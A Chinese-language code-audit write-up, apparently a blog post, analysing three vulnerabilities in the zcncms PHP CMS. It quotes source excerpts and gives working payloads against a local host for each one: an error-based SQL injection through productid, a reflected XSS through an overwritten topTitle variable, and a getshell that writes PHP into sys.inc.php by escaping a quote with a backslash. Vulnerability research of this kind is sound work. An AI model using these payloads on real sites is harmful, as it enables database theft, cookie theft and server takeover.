代码审计——zcncms几处漏洞合集(二)

接上一篇 代码审计——zcncms后台SQL注入(一), 继续挖掘出zcncms的几处漏洞.

0x00 后台SQL注入

继上一篇参数$parentid未正确处理后,在/module/products/admincontroller/products_photo.php中,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
switch($a)
{
case 'list':default://list
//列表
if (empty($productid)) {
$where = ' 1 = 1 ';
} else {
$where = " productid = '".$productid."' ";
}

$pageListNum=12;//每页显示
$totalPage=0;//总页数
----------------------------------------------------------------------
case 'edit'://
if(isset($submit)){
$info = array();
$time = time();
if(isset($id)){
$id = intval($id);
if($id <= 0){
errorinfo('变量错误','');
}
$infoold = $products_photo->GetInfo('',' id = '.$id);
}

$productinfo = $products->GetInfo('',' id = '.$productid);
//20120719
checkClassPower('products',$productinfo['classid']);

当 $a的值为’list’时,$where = " productid = '".$productid."' ", $procuctid被单引号保护起来,参数引进是经过addslashes操作的,所以这里是安全的。但是当$a == ‘edit’时,$products->GetInfo('',' id = '.$productid),$productid被直接拼接到where语句中且没有单引号保护,导致SQL注入。构造payload如下:

1
http://127.0.0.1:8088/code_audit/zcncms/admin/?c=products_photo&a=edit&id=7
POST:
submit=&productid=12=@`\\\'`  and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1));#@`\\\'`

0x01 反射型xss

在后台登陆文件 /include/admincontroller/login.php中,进行登陆是否成功后,设置模板文件为’login.tpl.php’.

1
2
3
4
5
6
7
8
9
10
header("location:./");
exit;
} else {
//echo 1;
$loginerror = '用户名密码错误,请重新登陆.';
$templatefile = 'login.tpl.php';
}
} else {
$templatefile = 'login.tpl.php';
}

跟踪到/admin/templates/default/login.tpl.php

1
2
3
4
5
6
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>
<?php if(!empty($topTitle)) echo $topTitle.'-';?>
<?php echo $sys['indextitle']; ?>-<?php echo $pagetitle;?></title>
<meta name="keywords" content="<?php echo $sys['webkeywords']; ?>">
<meta name="description" content="<?php echo $sys['webdescription']; ?>">

<title>标签中要echo三个变量,其中会检查$topTitle是否为空,我们再控制器文件login.php中并未找到$topTitle的定义或初始化,由于之前参数输入特性,可以进行变量覆盖。

1
http://127.0.0.1:8088/code_audit/zcncms/admin/?c=login&topTitle=</title><script>alert(document.cookie)</script>

0x02 后台getshell

在文件/include/admincontroller/sys.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$pagetitle = '基本信息';
$pagepower = 'sys';
//基本部分
require('checkpower.inc.php');
//功能部分
include_once(WEB_INC.'file.class.php');
include_once(WEB_INC.'string.class.php');
if(isset($submit)){
$FS = new files();
$STR = new C_STRING();
$info = array(
'isclose' => $isclose,
'closeinfo' => $closeinfo,
'webtitle' => $webtitle,
'indextitle' => $indextitle,
'webkeywords' => $webkeywords,
'webdescription' => $webdescription,
'webcopyright' => $webcopyright,
'webbeian' => $webbeian,
'systemplates' => $systemplates,
'linkurlmode' => $linkurlmode,
);
$rs_msg = $STR->safe($info);
if($FS->file_Write($rs_msg, WEB_INC.'sys.inc.php', 'sys')) {
errorInfo('编辑成功');
} else {
errorInfo();

可编辑网站的基本信息并且存入sys.inc.php,$rs_msg = $STR->safe($info);但是$info经过了safe函数,我们跟踪safe函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function safe($msg)
{

if(!$msg && $msg != '0')
{
return false;
}
if(is_array($msg))
{
foreach($msg AS $key=>$value)
{
$msg[$key] = $this->safe($value);
}
}
else
{
$msg = trim($msg);
//$old = array("&amp;","&nbsp;","'",'"',"\t","\r");
//$new = array("&"," ","&#39;","&quot;","&nbsp; &nbsp; ","");
$old = array("&amp;","&nbsp;","'",'"',"\t");
$new = array("&"," ","&#39;","&quot;","&nbsp; &nbsp; ");
$msg = str_replace($old,$new,$msg);
$msg = str_replace(" ","&nbsp; &nbsp;",$msg);
$old = array("/<script(.*)<\/script>/isU","/<frame(.*)>/isU","/<\/fram(.*)>/isU","/<iframe(.*)>/isU","/<\/ifram(.*)>/isU","/<style(.*)<\/style>/isU");
$new = array("","","","","","");
$msg = preg_replace($old,$new,$msg);
}
return $msg;

safe函数过滤了单双引号及常见的xss,我们再看看sys.inc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$sys["isclose"] = '0';
$sys["closeinfo"] = 'comming soon';
$sys["webtitle"] = 'ZCNCMS';
$sys["indextitle"] = 'ZCNCMS专注内容';
$sys["webkeywords"] = 'ZCNCMS专注内容';
$sys["webdescription"] = 'ZCNCMS专注内容';
$sys["webcopyright"] = 'Copyright+©+1996-2012,+All+Rights+Reserved+ZCNCMS';
$sys["webbeian"] = 'ZCNCMS专注内容';
$sys["systemplates"] = 'default';
$sys["linkurlmode"] = '0';

?>

我们继续跟踪sys.php中的写函数,file_Write()->_write()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//写入信息
function _write($content,$file,$type="wb")
{

global $system_time;
$content = stripslashes($content);
$handle = $this->_open($file,$type);
@fwrite($handle,$content);
unset($content);
$this->close($handle);
//设置文件创建的时间
$system_time = $system_time ? $system_time : time();
@touch($file,$system_time);
return true;
}

发现经过一系列的安全处理后,写入前会进行stripslashes操作,但是之前单引号被替换了。这里想到了\
我们呢可以这样构造

1
http://127.0.0.1:8088/code_audit/zcncms/admin/?c=sys
POST:
isclose=0&closeinfo=1\&webtitle=;phpinfo();//&indextitle=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&webkeywords=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&webdescription=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&webbeian=ZCNCMS%E4%B8%93%E6%B3%A8%E5%86%85%E5%AE%B9&webcopyright=Copyright+%C2%A9+1996-2012%2C+All+Rights+Reserved+ZCNCMS&linkurlmode=0&systemplates=default&submit=%E7%BC%96%E8%BE%91

将$sys[“closeinfo”]后面的单引号转义,使之和$sys[“webtitle”]的第一个单引号闭合,这样$sys[“webtitle”]的值就摆脱了单引号,再利用注释符”//“注释掉后面的单引号,中间直接可以写shell。执行完成后sys.inc.php如下

成功getshell